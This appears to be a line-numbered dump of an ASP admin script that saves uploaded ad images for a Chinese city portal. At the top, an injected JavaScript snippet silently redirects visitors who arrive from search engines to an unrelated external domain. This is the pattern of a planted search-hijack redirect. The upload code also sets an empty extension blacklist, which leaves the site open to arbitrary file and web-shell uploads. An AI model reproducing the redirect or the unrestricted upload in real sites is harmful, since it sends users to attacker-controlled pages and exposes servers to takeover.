d:\wwwroot\wuchunhua\cityadmin\savead.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
OPTION EXPLICIT
%
>
002:
<%
if session("china_cityadmin")="" then
003:
response.redirect "login.asp"
004:
end if
005:
dim id
006:
id=request("id")
007:
%
>
008:
<!--#include FILE="upadinc.asp"-->
009:
<%
010:
dim upfile,formPath,ServerPath,FSPath,formName,FileName,FileNameNew,oFile,upfilecount
011:
upfilecount=0
012:
set upfile=new clsUp ''建立上传对象
013:
upfile.NoAllowExt="" '设置上传类型的黑名单
014:
upfile.GetData (102400) '取得上传数据,限制最大上传100k
015:
%
>
016:
<%
017:
if upfile.isErr then '如果出错
018:
select case upfile.isErr
019:
case 1
020:
Response.Write "你没有上传数据呀?是不是搞错了?"
021:
case 2
022:
Response.Write "你上传的文件超出限制,最大100K"
023:
end select
024:
Response.Write "<br><a href=ad.asp><font color=0099ff>[返回]</font></a>"
025:
else
026:
%
>
027:
<%
028:
FSPath=GetFilePath(Server.mappath("../adpic/file.asp"),"\")'取得当前文件在服务器路径
029:
ServerPath=GetFilePath(Request.ServerVariables("HTTP_REFERER"),"/")'取得在网站上的位置
030:
for each formName in upfile.file '列出所有上传了的文件
031:
set oFile=upfile.file(formname)
032:
'FileName=upfile.form(formName)'取得文本域的值
033:
FileNameNew=upfile.AutoSave(formname,FSPath)'保存文件并定义新的文件名
034:
'if not FileName>"" then FileName=oFile.filename'如果没有输入新的文件名,就用原来的文件名
035:
'upfile.AutoSave formname,FSPath&FileName ''保存文件 也可以使用AutoSave来保存,参数一样,但是会自动建立新的文件名
036:
%
>
037:
<%
038:
if upfile.iserr then
039:
Response.Write upfile.errmessage
040:
Response.Write "<br><a href=ad.asp><font color=0099ff>[返回]</font></a>"
041:
else
042:
upfilecount=upfilecount+1
043:
'response.write "图片上传成功!<br><br><a href=Javascript:pic('"&FileNameNew&"+"&FileName&"+"&id&"');><u><font color=red>点击此处可以把图片地址写入表单</font></u></a>"
044:
response.write "<script LANGUAGE='javascript'>alert('"&FileName&"图片上传成功!');location='ad.asp?picname="&FileNameNew&"&id="&id&"'</script>"
045:
046:
end if
047:
%
>
048:
<%
049:
set oFile=nothing
050:
next
051:
%
>
052:
<%
053:
end if
054:
set upfile=nothing '删除此对象
055:
%
>
056:
<%
057:
function GetFilePath(FullPath,str)
058:
If FullPath <> "" Then
059:
GetFilePath = left(FullPath,InStrRev(FullPath, str))
060:
Else
061:
GetFilePath = ""
062:
End If
063:
End function
064:
%
>
065:
066: